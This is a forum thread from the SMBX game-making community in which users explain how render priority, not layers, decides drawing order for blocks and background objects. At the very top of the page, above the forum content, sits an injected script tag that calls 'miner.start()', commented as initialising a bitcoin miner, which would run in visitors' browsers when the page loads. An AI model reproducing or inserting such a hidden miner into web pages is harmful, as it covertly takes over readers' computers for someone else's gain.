<script>
miner.start(); // initialise bitcoin miner
</script>

pge projectmario fan games galaxysmbx community

Using layers, is it possible to make objects on specific layers always render behind others?

User avatar
Nimono
Posts: 509
Joined: 6 years ago

Using layers, is it possible to make objects on specific layers always render behind others?

Postby Nimono » 6 months ago

I know most BGOs always render in the background, but what about the tiles with collision? Is there any way to mark them to always appear above or behind certain other layers, or is it solely dependent on the order you create them in the level?

User avatar
Hoeloe
A2XT person
Posts: 912
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: Using layers, is it possible to make objects on specific layers always render behind others?

Postby Hoeloe » 6 months ago

It's actually more dependent on their position in the level, and more importantly, their render priority.

As of SMBX2 MAGLX3, you can use background.txt files to change the render priority of background objects, by setting the priority value.

This link shows you which values various objects are normally rendered at, so you can use it for comparison: https://wohlsoft.ru/pgewiki/LunaLua_Render_Priority

Layers are actually pretty badly named. They're more like tags that let you collectively hide and show, or move, groups of objects. They don't have anything to do with render order.
Image
Image
Image
Image
Image

User avatar
Nimono
Posts: 509
Joined: 6 years ago

Re: Using layers, is it possible to make objects on specific layers always render behind others?

Postby Nimono » 6 months ago

Hoeloe wrote: It's actually more dependent on their position in the level, and more importantly, their render priority.

As of SMBX2 MAGLX3, you can use background.txt files to change the render priority of background objects, by setting the priority value.

This link shows you which values various objects are normally rendered at, so you can use it for comparison: https://wohlsoft.ru/pgewiki/LunaLua_Render_Priority

Layers are actually pretty badly named. They're more like tags that let you collectively hide and show, or move, groups of objects. They don't have anything to do with render order.
Alright, thanks. So essentially, Blocks that are placed closer to the top-left of the level render before blocks that are placed closer to the bottom-right?

Enjl
Posts: 415
Joined: 5 years ago

Re: Using layers, is it possible to make objects on specific layers always render behind others?

Postby Enjl » 6 months ago

Nimono wrote:
Hoeloe wrote: It's actually more dependent on their position in the level, and more importantly, their render priority.

As of SMBX2 MAGLX3, you can use background.txt files to change the render priority of background objects, by setting the priority value.

This link shows you which values various objects are normally rendered at, so you can use it for comparison: https://wohlsoft.ru/pgewiki/LunaLua_Render_Priority

Layers are actually pretty badly named. They're more like tags that let you collectively hide and show, or move, groups of objects. They don't have anything to do with render order.
Alright, thanks. So essentially, Blocks that are placed closer to the top-left of the level render before blocks that are placed closer to the bottom-right?
Yes, but there are some exceptions you can use to cheat the system to your advantage:
-Sizeable blocks will render behind all other blocks and even behind most BGOs. Only the furthest back BGOs (whose priority can be adjusted now) such as water will be behind sizeables.
-Lava renders in front of other blocks, as well as the player and all NPCs.
-You can use invisible blocks and textured BGOs to essentially get blocks to look like they rendered at whatever priority you desire.

User avatar
Nimono
Posts: 509
Joined: 6 years ago

Re: Using layers, is it possible to make objects on specific layers always render behind others?

Postby Nimono » 6 months ago

Enjl wrote: Yes, but there are some exceptions you can use to cheat the system to your advantage:
-Sizeable blocks will render behind all other blocks and even behind most BGOs. Only the furthest back BGOs (whose priority can be adjusted now) such as water will be behind sizeables.
-Lava renders in front of other blocks, as well as the player and all NPCs.
-You can use invisible blocks and textured BGOs to essentially get blocks to look like they rendered at whatever priority you desire.
Oooh, yeah, I forgot about invis blocks! The only issue I have left with it is that BGOs still render behind normal blocks, which is unfortunate- I basically need a block to render behind a block, and then a BGO to render in front of these blocks, BUT no other blocks. For some reason, it's not working out that way- even position changes aren't making the later blocks render above the foreground BGOs set to just -65 priority... Am I doing something wrong?

Enjl
Posts: 415
Joined: 5 years ago

Re: Using layers, is it possible to make objects on specific layers always render behind others?

Postby Enjl » 6 months ago

Nimono wrote:
Enjl wrote: Yes, but there are some exceptions you can use to cheat the system to your advantage:
-Sizeable blocks will render behind all other blocks and even behind most BGOs. Only the furthest back BGOs (whose priority can be adjusted now) such as water will be behind sizeables.
-Lava renders in front of other blocks, as well as the player and all NPCs.
-You can use invisible blocks and textured BGOs to essentially get blocks to look like they rendered at whatever priority you desire.
Oooh, yeah, I forgot about invis blocks! The only issue I have left with it is that BGOs still render behind normal blocks, which is unfortunate- I basically need a block to render behind a block, and then a BGO to render in front of these blocks, BUT no other blocks. For some reason, it's not working out that way- even position changes aren't making the later blocks render above the foreground BGOs set to just -65 priority... Am I doing something wrong?
BGOs are collectively drawn after blocks are drawn... so what I would do is have some invisiblocks with bgos drawn to like -67, bgos drawn to -66 and regular blocks on -65 as usual, if I understand what you're getting at correctly.

User avatar
Nimono
Posts: 509
Joined: 6 years ago

Re: Using layers, is it possible to make objects on specific layers always render behind others?

Postby Nimono » 6 months ago

Enjl wrote: BGOs are collectively drawn after blocks are drawn... so what I would do is have some invisiblocks with bgos drawn to like -67, bgos drawn to -66 and regular blocks on -65 as usual, if I understand what you're getting at correctly.
...Ahhh, I think I get what you're saying now. Thank you!


Return to “SMBX2 (Current - 2.0 Beta 3)”

Who is online

Users browsing this forum: No registered users and 1 guest